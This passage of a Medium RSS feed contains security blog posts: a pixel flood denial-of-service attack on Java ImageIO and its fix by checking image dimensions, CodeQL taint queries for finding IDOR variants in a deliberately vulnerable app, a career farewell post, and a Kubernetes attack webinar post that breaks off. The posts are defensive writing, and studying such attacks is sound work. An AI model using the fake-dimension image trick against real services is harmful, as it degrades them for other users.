            <content:encoded><![CDATA[<h3>Perils of Parsing — Pixel Flood Attack on Java ImageIO</h3><p>On a regular day interviewing a candidate for the <a href="https://careers.chargebee.com/jobs/wED3qiMRladu/senior-software-engineer-security-engineering">SSE (Security Engineering)</a> role, he started talking about vulnerabilities in our application. Intrigued by his analysis, we egged on the conversation further and found out that our application is exposed to the vulnerability of triggering an <em>Out Of Memory (OOM) </em>exception. This is possible by making the parser parse an image with fake high resolutions — the infamous <em>Pixel Flood Attack</em>.</p><p>As described by the candidate —</p><blockquote>I tried a 40K image, it took ~22 Seconds for a request. Then I tried a 50K image, which took ~1.2 minutes. Since it is the production environment, I didn’t risk trying larger sizes than that. But it is always best to throw an error by checking pixel size prior to allocating heap space and processing.</blockquote><p>This post is an outcome of how we reproduced and mitigated the vulnerability across modules that use Java’s ImageIO library for parsing images — all the while without causing any performance or functional impact.</p><h3>Pixel Flood Attack on ImageIO</h3><p>The whole idea of this attack is to force an image parser to allocate a large volume of memory based on the false parameters on image headers.</p><h4>The Vulnerable Wedge</h4><p>To understand this vulnerability, let’s take the <a href="https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format">JPEG File Interchange Format (JFIF)</a> image format into perspective. It has a <a href="https://github.com/corkami/formats/blob/master/image/jpeg.md">well-defined structure</a> split into several segments.</p><p>Structure of the JFIF file format is shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FNcDHhP8_fuQt4mM.png" /><figcaption>Image courtesy <a href="https://github.com/corkami/pics">Ange Albertini</a></figcaption></figure><p>The <em>Header</em> segment contains meta-information about the image that needs to be conveyed to the image parsing library. This is needed to decompress the image data for visualization.</p><p>Many image parsers allocate memory to store the decompressed JPEG data based on dimension values available <em>from the image header.</em></p><p>Here’s a code sample for parsing an image using the Java ImageIO library.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/39a7cb4d05d97f4db7ad1342ef06ed7a/href">https://medium.com/media/39a7cb4d05d97f4db7ad1342ef06ed7a/href</a></iframe><p>On parsing a malicious JPEG, the above code throws an exception. The stack trace for it is shown below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d014608bc43bd618cf76313b0e969ce5/href">https://medium.com/media/d014608bc43bd618cf76313b0e969ce5/href</a></iframe><p>An <em>Out Of Memory (OOM)</em> exception is triggered when the ImageIO library tries to allocate a 2D array computed from the faulty <em>Height * Width </em>information obtained from the image header. The exception happens while preparing the image for <em>rasterization</em>. Ra<em>s</em>terization is computing a model based on the image’s height and width, which in turn is used to allocate a <em>DataBuffer.</em></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e301b2567c06476ae28511028141f8d5/href">https://medium.com/media/e301b2567c06476ae28511028141f8d5/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*SHndeC88tqCXGXf6jFLRHw.png" /></figure><p>An attacker can exploit this by uploading a JPEG file having fake high dimension in the header.</p><blockquote>Let’s take an example to understand this better. A 10kb image can be used by the attacker and set to have a bogus 10000 x 10000 dimension. When this is uploaded, the parser is exploited to allocate the memory needed for a 10000 x 10000 image. This results in unnecessary high memory allocation on the heap space. Higher the dimension, higher the memory allocation, eventually leading to an OOM exception.</blockquote><h4>Is OOM Exception Really a Problem?</h4><p>While the impact of this attack is limited only to memory allocation causing an OOM exception, the risk due to such a vulnerability is high in a multi-tenant environment with SLAs and quality guarantees.</p><p>Allocating high memory chunks from heap space for such exploits also leaves less for genuine users, which is indeed a security concern.</p><h3>Mitigating Pixel Flood Attack on Java ImageIO</h3><p>As a product, it is critical to ensure that a malicious user of the platform cannot in any way affect or degrade the service offered to other users of the platform.</p><p>In general, v<em>erification and validation</em> is the first line of defence that needs to be in place before performing any sensitive operation. But how do you validate an input format when the <em>library</em> meant to recognize it is itself affected?</p><p>Luckily, while looking for solutions we found an <em>ImageReader</em> abstract class in Java Image IO that seemed to help. It loosely defines an interface for various image format implementations in ImageIO including JPEG, PNG, etc.</p><p>From <a href="https://docs.oracle.com/javase/7/docs/api/javax/imageio/ImageIO.html">ImageIO</a> documentation —</p><blockquote>ImageReader: A class containing static convenience methods for locating ImageReaders and ImageWriters, and performing simple encoding and decoding.</blockquote><p>The cherry on top is that it also declares two useful methods that can be used to verify the dimensions before allocating heap memory.</p><pre>public abstract int getWidth(int imageIndex) throws IOException;<br>public abstract int getHeight(int imageIndex) throws IOException;</pre><p>Each of the above image formats implements the two methods, which in turn allows parsing the image header to retrieve its dimension.</p><p>Here’s an example of JPEG Image Reader:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mXmVW924goQwux3OxcOcBg.png" /><figcaption><a href="https://github.com/AdoptOpenJDK/openjdk-jdk8u/blob/9a91972c76ddda5c1ce28b50ca38cbd8a30b7a72/jdk/src/share/classes/com/sun/imageio/plugins/jpeg/JPEGImageReader.java#L730">https://github.com/AdoptOpenJDK/openjdk-jdk8u/blob/9a91972c76ddda5c1ce28b50ca38cbd8a30b7a72/jdk/src/share/classes/com/sun/imageio/plugins/jpeg/JPEGImageReader.java#L730</a></figcaption></figure><h4>Now, Patching the Vulnerability</h4><p>We leveraged this feature of the ImageIO library to validate image dimensions ahead of parsing. This way there is a check before allocating memory for rendering, typically providing a shield against Pixel Flood Attacks.</p><p>An example implementation of this validation is given below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/27bd63629746343887339e06706eb677/href">https://medium.com/media/27bd63629746343887339e06706eb677/href</a></iframe><p>So far this approach has been working well for us without any noticeable performance impact or security bypass.</p><h3>Defense in Depth Approach</h3><p>Parsing, especially binary parsing is complex and error-prone to the extent that <em>Safe Parsing</em> may be considered a misnomer. Compartmentalisation or sandboxing can significantly reduce the risk of binary format abuse.</p><p>Running these procedures as isolated, unprivileged modules using serverless or <a href="https://docs.docker.com/engine/security/seccomp/">restricted containers</a> is a long-term scalable solution to shield against such attacks.</p><p><a href="https://www.chargebee.com/careers/engineering-culture/">We are hiring!</a> Let us know if you are interested in our work and love to solve complex problems in SaaS products, platform &amp; cloud infrastructure engineering.</p><h4>Review and Edits</h4><ul><li>Vignesh P, Technical Writer</li><li><a href="http://linkedin.com/in/wordyg">Girish Mehta</a>, Documentation Manager</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a97aeb06637d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/chargebee-engineering/perils-of-parsing-pixel-flood-attack-on-java-imageio-a97aeb06637d">Perils of Parsing — Pixel Flood Attack on Java ImageIO</a> was originally published in <a href="https://medium.com/chargebee-engineering">Engineering @ Chargebee</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Extending The Value of Security Testing by Adopting Variant Analysis]]></title>
            <link>https://medium.com/@abh1sek/extending-the-value-of-security-testing-by-adopting-variant-analysis-127193c62bd8?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/127193c62bd8</guid>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[continuous-integration]]></category>
            <category><![CDATA[codeql]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[security-testing]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Wed, 26 Aug 2020 16:52:46 GMT</pubDate>
            <atom:updated>2020-08-26T16:52:46.725Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/427/0*gDBWBQ_szNyCKQJw.png" /></figure><p>Image source: <a href="https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql">https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql</a></p><p>Originally published at <a href="https://root.sigsegv.in/posts/extending-appsec-testing-value-by-adopting-variant-analysis/">https://root.sigsegv.in/posts/extending-appsec-testing-value-by-adopting-variant-analysis/</a></p><h3>Continuous Security Testing and Reduction in Security Debt</h3><p>Security Testing is a key activity in a security program. Given the business requirements for continuous delivery, security testing is required to be repetitive and continuous with specific metrics identifying success of the initiative. Organizations with external or internal teams for application security testing usually have a vulnerability management process that allows them to respond to identified vulnerabilities.</p><p>While this is a reactive approach, it is still needed as automated tools are not matured enough to be as effective as a professional security analyst with some experience and context (IMHO). A security issue identified during testing often re-appear in a different feature or code path. Coverage is non-trivial to measure during a blackbox or graybox application security testing.</p><p>Given this situation, it is difficult to measure the value of security testing. Many a times, security testing causes friction or delay in engineering processes due to blocker issues discovered late in the release cycle.</p><p>Engineering teams can significantly increase the value of application security testing if they can build a system that ensures</p><ol><li>All instances of a given vulnerability is identified and fixed</li><li>Appropriate security gates are implemented in SDLC to prevent re-introducing similar vulnerabilities</li></ol><p>This solves a key problem for engineering teams, to ensure they don’t just fix vulnerabilities, but fix a class of vulnerabilities in their product, thus continuously reducing security debt by using security testing output effectively.</p><p>While [2] is beyond the scope of this article, I would personally look at <a href="https://docs.gitlab.com/ee/user/application_security/">Gitlab CI Application Security Capabilities</a> for quick wins in this regard.</p><p>In this post, I will focus on how to identify all instances of a vulnerability using variant analysis</p><h3>What is Variant Analysis</h3><blockquote><strong><em>Variant analysis is the process of using a known vulnerability as a seed to find similar problems in your code. Security engineers typically perform variant analysis to identify similar possible vulnerabilities and to ensure these threats are properly fixed across multiple codebases.</em></strong></blockquote><blockquote><a href="https://semmle.com/variant-analysis"><strong><em>https://semmle.com/variant-analysis</em></strong></a></blockquote><p>For example, consider this</p><ul><li>You have a web application exposed to your external users</li><li>Security team reports an authorization issue where a <em>malicious user</em> can manipulate a URL such as https://app.example.com/projects/:project_id/issues to read resources outside its access scope</li></ul><p>This issue can be fixed by ensuring appropriate authorization controls. A simple mitigation example can be to ensure that user scoped queries are used while looking up a resource from database</p><pre>SELECT * FROM projects WHERE project_id = :project_id AND user_id = :user_id</pre><p>Adopting variant analysis for this example will require</p><ol><li>Model the security issue in a form that can be applied to a program representation. Example: <a href="https://en.wikipedia.org/wiki/Control-flow_graph">Control Flow Graph</a></li><li>Scan product codebase(s) for all instances of the same security issue using the model created in [1]</li><li>Ensure your security issue model is added in a repository and used for continuous scanning as part of CI security pipeline</li></ol><p>The benefits will be</p><ol><li>Every iteration of the above exercise will enrich the security models repository for the product</li><li>Effective discovery of security issues with very high degree of context for <em>the</em> product as part of SDLC</li><li>Security testing exercise not just finds issue but enriches this repository of valuable security issue models for the product</li><li>Ship releases that are free from past issue variants with a fairly high degree of confidence</li><li>Prevent new code from re-introducing variants of past vulnerabilities</li></ol><h3>Variant Analysis with CodeQL</h3><blockquote><strong><em>By automating variant analysis, CodeQL enables product security teams to find zero-days and variants of critical vulnerabilities.</em></strong></blockquote><blockquote><a href="https://semmle.com/codeql"><strong><em>https://semmle.com/codeql</em></strong></a></blockquote><p>CodeQL is available for free from <a href="https://github.com/github/codeql">Github</a></p><ul><li><a href="https://help.semmle.com/QL/learn-ql/">Get started with CodeQL</a></li><li>I really recommend you play <a href="https://help.semmle.com/QL/learn-ql/beginner/find-the-thief.html">the game</a></li><li>I use CodeQL locally with <a href="https://help.semmle.com/codeql/codeql-for-vscode/procedures/setting-up.html">Visual Studio Code</a></li><li>CI automation can be setup using <a href="https://help.semmle.com/codeql/codeql-cli.html">CodeQL CLI</a></li></ul><h3>How does it looks like</h3><pre>import java</pre><pre>from Callable call<br>where call.getName() = &quot;isEmpty&quot;<br>select call.getAReference()</pre><blockquote><strong><em>Example CodeQL query to find all references to a call to </em></strong><strong><em>isEmpty method in Java code base</em></strong></blockquote><h3>[Example] Using CodeQL with Damn Vulnerable Java Application (DVJA)</h3><p>We will use <a href="https://github.com/appsecco/dvja">Damn Vulnerable Java Application</a> to demonstrate use of variant analysis using CodeQL. There is an <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control">Insecure Direct Object Reference</a> vulnerability in DVJA which is <a href="https://github.com/abhisek/dvja/blob/master/docs/solution/a4-insecure-direct-object-reference.md">documented in detail</a> as reference.</p><p>The issue occurs in the following line of code where the controller retrieves a User record from database using user supplied input without validation.</p><pre>user = userService.find(getUserId());</pre><p><a href="https://github.com/abhisek/dvja/blob/597ece1ab79ffffea7289d49b0c443bb2ebcbd16/src/main/java/com/appsecco/dvja/controllers/UserAction.java#L88">https://github.com/abhisek/dvja/blob/597ece1ab79ffffea7289d49b0c443bb2ebcbd16/src/main/java/com/appsecco/dvja/controllers/UserAction.java#L88</a></p><p>The find method in UserService is defined as below</p><pre>public User find(int id) {<br>    return entityManager.find(User.class, id);<br>}</pre><p><a href="https://github.com/abhisek/dvja/blob/597ece1ab79ffffea7289d49b0c443bb2ebcbd16/src/main/java/com/appsecco/dvja/services/UserService.java#L42">https://github.com/abhisek/dvja/blob/597ece1ab79ffffea7289d49b0c443bb2ebcbd16/src/main/java/com/appsecco/dvja/services/UserService.java#L42</a></p><p>While DVJA is a very small code base and all instances of this issue can be identified trivially with grep or manual code review, this will not be a case with sufficiently large code base with complex code paths.</p><h3>Defining a Model for Generic Detection</h3><p>We can apply <a href="https://en.wikipedia.org/wiki/Taint_checking">Taint Propagation</a> to model this condition in a fairly generic way but for our product context</p><ol><li>Any class which is a child of <a href="https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ActionSupport.html">ActionSupport</a> is an action class (Controller)</li><li>Any variable in an action class is a potential user supplied value set by Struts2 framework</li><li>Any user supplied value reaching the 2nd parameter of entityManager.find without validation is a potential security vulnerability</li></ol><p>I wrote a fairly verbose CodeQL query to model the above constraints which you can <a href="https://lgtm.com/query/3584843823142271495/">read and test on LGTM</a>. It produces expected results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KmQ0sutSPJL715CG.png" /></figure><p>Using this query, we can find a new variant of the same vulnerability (IDOR) in the <a href="https://lgtm.com/projects/g/appsecco/dvja/snapshot/02a840300d0be5c7d33f11145a65c810be28e6a4/files/src/main/java/com/appsecco/dvja/controllers/ProductAction.java?sort=name&amp;dir=ASC&amp;mode=heatmap#L73">ProductAction</a> class well.</p><p>I will breakdown the query here to reduce complexity during explanation. CodeQL queries can be a bit complex to start with, however it becomes easier to read and write as we become familiar with program structure, control flow and CodeQL APIs.</p><h3>CodeQL Query Explanation</h3><p>We will do the following to write a CodeQL query to implement our model described earlier in this post</p><ol><li>Define CodeQL class for source of user supplied input</li><li>Define CodeQL class for destination of insecure database query</li><li>Define taint propagation configuration to find code paths between [1] and [2]</li></ol><h4>Source</h4><p>Start by defining some base classes (CodeQL) using which I will define the source of <em>user supplied input</em> as per our model</p><pre>class ActionSupport extends ClassOrInterface {<br>  ActionSupport() {<br>    exists(ClassOrInterface i | i.hasName(&quot;ActionSupport&quot;) and this = i)<br>  }<br>}</pre><pre>class BaseController extends ClassOrInterface {<br>  BaseController() {<br>    exists(ClassOrInterface i, ActionSupport a |<br>      i.hasName(&quot;BaseController&quot;) and<br>      i.hasSupertype(a) and<br>      this = i<br>    )<br>  }<br>}</pre><p>Next we will define the input class that matches our constraint for a potential source of user supplied input</p><pre>class ControllerClassUserInput extends Variable {<br>  ControllerClassUserInput() {<br>    exists(Variable v, Class c, BaseController a|<br>      c.contains(v) and<br>      c.hasSupertype(a) and<br>      this = v<br>    )<br>  }<br>}</pre><h4>Sink</h4><p>Now we will define the classes that models our vulnerable code i.e. a call to entityManager.find(...) with user supplied parameter</p><pre>class EntityManager extends ClassOrInterface {<br>  EntityManager() {<br>    exists(ClassOrInterface i | i.hasName(&quot;EntityManager&quot;) and this = i )<br>  }<br>}</pre><pre>class EntityManagerCall extends Callable {<br>  EntityManagerCall() {<br>    exists(Callable c |<br>      c.hasName(&quot;find&quot;) and c.getDeclaringType() instanceof EntityManager and this = c<br>    )<br>  }<br>}</pre><h4>Taint Propagation Configuration</h4><p>Finally we will define the taint tracking configuration that will find all possible code paths from source to sink</p><pre>class Config extends TaintTracking::Configuration {<br>  Config() {<br>    this = &quot;EntityManagerFindIDOR&quot;<br>  }</pre><pre>  override predicate isSource(DataFlow::Node source) {<br>    exists(ControllerClassUserInput ci |<br>      source.asExpr() = ci.getAnAccess()<br>    )<br>  }</pre><pre>  override predicate isSink(DataFlow::Node sink) {<br>    exists(EntityManagerCall fn |<br>      fn.getAReference().getAnArgument() = sink.asExpr()<br>    )<br>  }<br>}</pre><h4>Result</h4><p>The full query is available here for testing</p><ul><li><a href="https://lgtm.com/query/3584843823142271495/">https://lgtm.com/query/3584843823142271495/</a></li></ul><p>The query can be further improved by using <a href="https://help.semmle.com/qldoc/java/semmle/code/java/controlflow/Guards.qll/module.Guards.html">Guards</a> to model validation logic which will avoid false positives.</p><blockquote><strong><em>Thanks for reading, I can be reached on </em></strong><a href="https://twitter.com/abh1sek"><strong><em>Twitter</em></strong></a><strong><em> for queries or flame :) If you work in a product security team, I would love to know if you think this approach is feasible for you.</em></strong></blockquote><h3>References</h3><ul><li><a href="https://github.com/appsecco/dvja">https://github.com/appsecco/dvja</a></li><li><a href="https://help.semmle.com/QL/learn-ql/ql-training.html">https://help.semmle.com/QL/learn-ql/ql-training.html</a></li><li><a href="https://help.semmle.com/QL/learn-ql/beginner/find-the-thief.html">https://help.semmle.com/QL/learn-ql/beginner/find-the-thief.html</a></li><li><a href="https://help.semmle.com/QL/learn-ql/java/ql-for-java.html">https://help.semmle.com/QL/learn-ql/java/ql-for-java.html</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=127193c62bd8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Change — My Experience at Appsecco]]></title>
            <link>https://medium.com/appsecco/the-change-my-experience-at-appsecco-47c9ac83567f?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/47c9ac83567f</guid>
            <category><![CDATA[working-with-appsecco]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[culture]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Tue, 25 Aug 2020 01:28:52 GMT</pubDate>
            <atom:updated>2020-08-25T01:28:52.834Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Change — My Experience at Appsecco</h3><p>Today is my last working day at <a href="https://appsecco.com/">Appsecco</a>. Almost like an end of an era for me. An experience that I will never forget. An experience of transformation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3wloPj042nuFQrnFfh6r7A.jpeg" /><figcaption>Appsecco folks @ c0c0n 2019</figcaption></figure><h3>How it started</h3><p>Sometime during mid 2016, <a href="https://twitter.com/makash">Akash</a> reached out to me and told me about his new company — Appsecco. He wanted to discuss about designing a database schema to store application security assessment data, something we have done successfully for the <a href="https://null.co.in/">null Community</a> as <a href="https://github.com/null-open-security-community/swachalit">Swachalit</a>.</p><p>At that time, professionally I was running <a href="https://3slabs.com/">3S Labs</a>, my own ambitious security services startup. I was working on stuff like <a href="https://github.com/abhisek/reverse-engineering-and-malware-analysis">Reverse Engineering and Malware Analysis</a>, <a href="https://www.3slabs.com/research.php">vulnerability research</a>, delivering security services for our awesome clients and related stuff. It was a great experience running 3S Labs. I got a glimpse of the distinction between doing security work and actually meeting the need of the person paying you for that. The story that I tell everyone, weirdly companies that were supposed to be my competitor were actually my clients in 3S Labs.</p><p>I was taking a break from work during mid 2016 to <em>acclimatize</em> myself with <a href="https://sheoli.me/">her</a> arrival. During this time, I frequently visited Appsecco office, which was, back then a small room where Akash, <a href="https://twitter.com/riyazwalikar">Riyaz</a> and <a href="https://twitter.com/madhuakula">Madhu</a> were working together. I found a super excited set of people willing to experiment, learn and build a great team that, true to its goal, <em>provide awesome security advice to it’s customers</em>. Akash shared his vision of a platform centric approach for application security service delivery backed by two key ingredients</p><ol><li>Research in application security</li><li>Automation — Our value will be [1]</li></ol><p>At 3S Labs, I have been thinking of something very similar but never had the time or motivation to actually follow through on it. This appeared to me as a great opportunity to join the bandwagon of a bunch of super motivated and smart people and build what I want to build. In no time, I spoke to <a href="https://www.linkedin.com/in/gwilymlewis/">Gwilym</a>, Akash’s co-founder and on December 2016, I joined Appsecco.</p><h3>Me at Appsecco</h3><p>At Appsecco, I quickly built a product to manage application security service delivery. My past experience in working in early stage startup tells me that now is the time when I need to look for a way to deploy the product and setup a bunch of maintenance tasks around it.</p><p>Madhu, our DevSecOps Ninja, informs me that it is already deployed. In fact when I push to the release branch, the deployed application will auto update. I was familiar with CI/CD tools but did not expect to see it in early days at Appsecco. A pleasant surprise for me to start with.</p><p>From that moment, it was a journey of professional transformation for me. I experienced <a href="https://null.community/event_sessions/1237-accelerating-your-security-learning-in-2017">accelerated learning</a>. In particular</p><ol><li>Docker and containarized approach to development and delivery from <a href="https://madhuakula.com/">Madhu</a></li><li>Upskilled myself in application security thanks to <a href="https://twitter.com/riyazwalikar">Riyaz</a></li><li>Exploring the unknown and the joy in it from <a href="https://twitter.com/makash">Akash</a></li></ol><p>I also worked extensively on <a href="https://blog.appsecco.com/kubernetes-from-an-attackers-perspective-owasp-bay-area-meetup-c0c78a5bfb4e">Kubernetes Security</a> along with Madhu, which ultimately became an area of long term pursuit for both of us.</p><p>I had the privilege of working with some amazing people in Appsecco whom I will greatly miss for no reason because I can just ping them anytime and say <em>hi</em> :)</p><p>The list is long and I probably have to spend entire week to describe it in greater detail. However, I want to highlight some of the cultural aspects of Appsecco that touched me in particular.</p><h4>Preserving Knowledge</h4><p>One of the things that Akash took charge in driving internally during the early days is to make it easy for everyone to document technical knowledge. This drive eventually became a large repository of really valuable technical information for reference.</p><p>We used <a href="https://daringfireball.net/projects/markdown/">Markdown</a> with static website generators like <a href="https://www.mkdocs.org/">mkdocs</a>, <a href="http://raneto.com/">Raneto</a> and <a href="https://www.atlassian.com/git/tutorials/gitops">GitOps</a> to make the documentation process seamless and easily available to everyone. The end result was, the notes that we wrote as part of our learning and research end up in our documentation repository which was continuously enriched. Eventually this was very useful as a daily reference.</p><h4>Quality Assurance and Scalability in Service Delivery</h4><p>The co-founders where very serious about creating value for customers from day one. As part of the service delivery, we had the job to ensure that we are able to provide great quality work to our customers every time, minimizing mistakes due to oversight or lack of skill/experience of an analyst, something which is a common phenomenon in a security services company.</p><p>While we had Riyaz, who can practically break anything and everything, we were not able to biologically clone him so as to scale our service delivery capability. To workaround this, we chose an easier path of leveraging our awesome documentation infrastructure to</p><ol><li>Create friendly checklists for each service</li><li>Create usable reference on how to execute a test case</li></ol><p>The objective was not to bind a security analyst in following checklists, but to reduce the need for continuous decision making during an assessment by providing a easy to follow reference of past project and the experience from it.</p><h4>Problem Discovery</h4><p>Me and Akash were always keen on maintaining that Appsecco is technology driven application security company. To this effect, we always maintained the discussion to identify problems related to</p><ol><li>What we can automate in our services workflow</li><li>What is <em>that</em> key customer problem that we can solve</li></ol><p>Our efforts related to application security workflow automation led us to extensively work with Kubernetes as an underlying platform. We developed and presented <a href="https://github.com/appsecco/kubeseco">KubeSecO</a> as an open source solution.</p><p>There are many other things that we worked on and some of these will mature into products solving real customer problems in the future. Do lookout for this <a href="http://twitter.com/appseccouk">@appseccouk</a>.</p><h4>The Company Grows with You</h4><p>The culture of growth is of high importance at Appsecco. This is evident in the ninja level achievements of our beloved <a href="https://madhuakula.com/">Madhu sir</a>. Akash in particular, always encouraged everyone in the team to go present in security conferences and work on personal brand building and growth, which in turn contributed in company’s growth as well.</p><ol><li><a href="http://twitter.com/0xbharath">Bharath’s</a> work on <a href="https://appsecco.com/books/subdomain-enumeration/">Subdomain Enumeration</a> was extremely well received by the community which increased our visibility as a company</li><li>Akash and Madhu’s work on <a href="https://www.blackhat.com/us-18/training/automated-defense-using-cloud-services-for-aws-azure-and-gcp.html">Automated Defense in the Cloud</a> took us to the international stage of Blackhat Trainings</li><li>Riyaz’s continuous work on <a href="https://blog.appsecco.com/@riyazwalikar">publishing new attack techniques</a> opened new doors for us in terms of business opportunities</li><li>Riddhi’s work on <a href="https://blog.appsecco.com/@_riddhishree">mobile app security</a> positioned us as experts in the field</li><li>Sunesh completed his <a href="https://www.cncf.io/certification/cka/">CKA</a> with 100% score increased our Kubernetes expertise and capability</li></ol><p>We also have our awesome <em>security story teller</em> <a href="https://twitter.com/shruthikamath30">Shruthi</a> who bridges the gap between the in-house security nerds and our customers who enable us to do the stuff we enjoy on a daily basis.</p><p>The team is growing, with <a href="https://twitter.com/ayushpriya10">Ayush</a> interning with us and then joining us freshly out of college. I will keep an eye on him as Appsecco has a track record of creating rockstars from kids. I missed the bandwagon as I was too old when I joined :(</p><h3>Next for Me</h3><p>It has been an exhilarating journey of change, learning and development for me at Appsecco. This contributed in getting me my next opportunity in an impactful product security role in a high-growth SaaS company. I wanted to work with established engineering leaders and learn from them, something that I have missed so far as I have entirely worked in early stage startups. Particularly I am looking forward to</p><ol><li>Learn to build products from an engineering leadership perspective</li><li>Contribute to real-life product and platform security problems</li><li>Switch role and <em>play defender</em> in an engineering organization</li></ol><blockquote><strong><em>Some day, I will be back to early stage startups scene and when I do, I would want to build a security products company with some of Appsecco’s culture imbibed in it.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47c9ac83567f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/the-change-my-experience-at-appsecco-47c9ac83567f">The Change — My Experience at Appsecco</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kubernetes From an Attacker’s Perspective — OWASP Bay Area Meetup]]></title>
            <link>https://medium.com/appsecco/kubernetes-from-an-attackers-perspective-owasp-bay-area-meetup-c0c78a5bfb4e?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0c78a5bfb4e</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[cloud-native]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[appsec]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Wed, 03 Jun 2020 06:33:45 GMT</pubDate>
            <atom:updated>2020-06-17T18:02:10.916Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kubernetes From an Attacker’s Perspective — OWASP Bay Area Meetup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzKOIu9oc2B50X5EvrW2Ew.png" /></figure><p>Last week, we did an hour long webinar for <a href="https://www.meetup.com/Bay-Area-OWASP/events/270607859/">OWASP Bay Area Meetup group</a> where I spoke about Kubernetes from an Attacker’s Perspective. As part of of the webinar, I demonstrated attack scenarios on a Kubernetes 1.15+ cluster provisioned on Google Kubernetes Engine (GKE). The slides and video recording from the webinar, along with Questions &amp; Answers are presented in this blog post.</p><h3>Slides</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fspeakerdeck.com%2Fplayer%2Ffb3982f66b5f4ffaab00e277766d4e73&amp;display_name=Speaker+Deck&amp;url=https%3A%2F%2Fspeakerdeck.com%2Fabhisek%2Fkubernetes-from-an-attackers-perspective&amp;image=https%3A%2F%2Fspeakerd.s3.amazonaws.com%2Fpresentations%2Ffb3982f66b5f4ffaab00e277766d4e73%2Fslide_0.jpg%3F641557&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=speakerdeck" width="710" height="399" frameborder="0" scrolling="no"><a href="https://medium.com/media/5f7297ceed759b3a457dccee966a371f/href">https://medium.com/media/5f7297ceed759b3a457dccee966a371f/href</a></iframe><h3>Video</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FsXiGDDl7skk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DsXiGDDl7skk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FsXiGDDl7skk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4a17b37031d809bb4a48e9f065bf067d/href">https://medium.com/media/4a17b37031d809bb4a48e9f065bf067d/href</a></iframe><h3>Related Articles from Appsecco</h3><ul><li><a href="https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216">Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1</a></li><li><a href="https://blog.appsecco.com/prevent-hostpath-based-kubernetes-attacks-with-pod-security-policies-2f8646df6761">Prevent hostPath based Kubernetes attacks with Pod Security Policies</a></li></ul><h3>Questions &amp; Answers</h3><p><strong>Is there any standard guide for Kubernetes security testing similar to Web Application Security Testing Guide or MSTG?</strong></p><p>Not that I am aware of. I think there is a lot of scope for creating a Kubernetes security assessment methodology.</p><p><strong>But these host mounts are disabled by PSP right?</strong></p><p>Yes. <a href="https://kubernetes.io/docs/concepts/policy/pod-security-policy/">PodSecurityPolicy</a> can be used to used to deny hostPath volume mounts.</p><p><strong>I 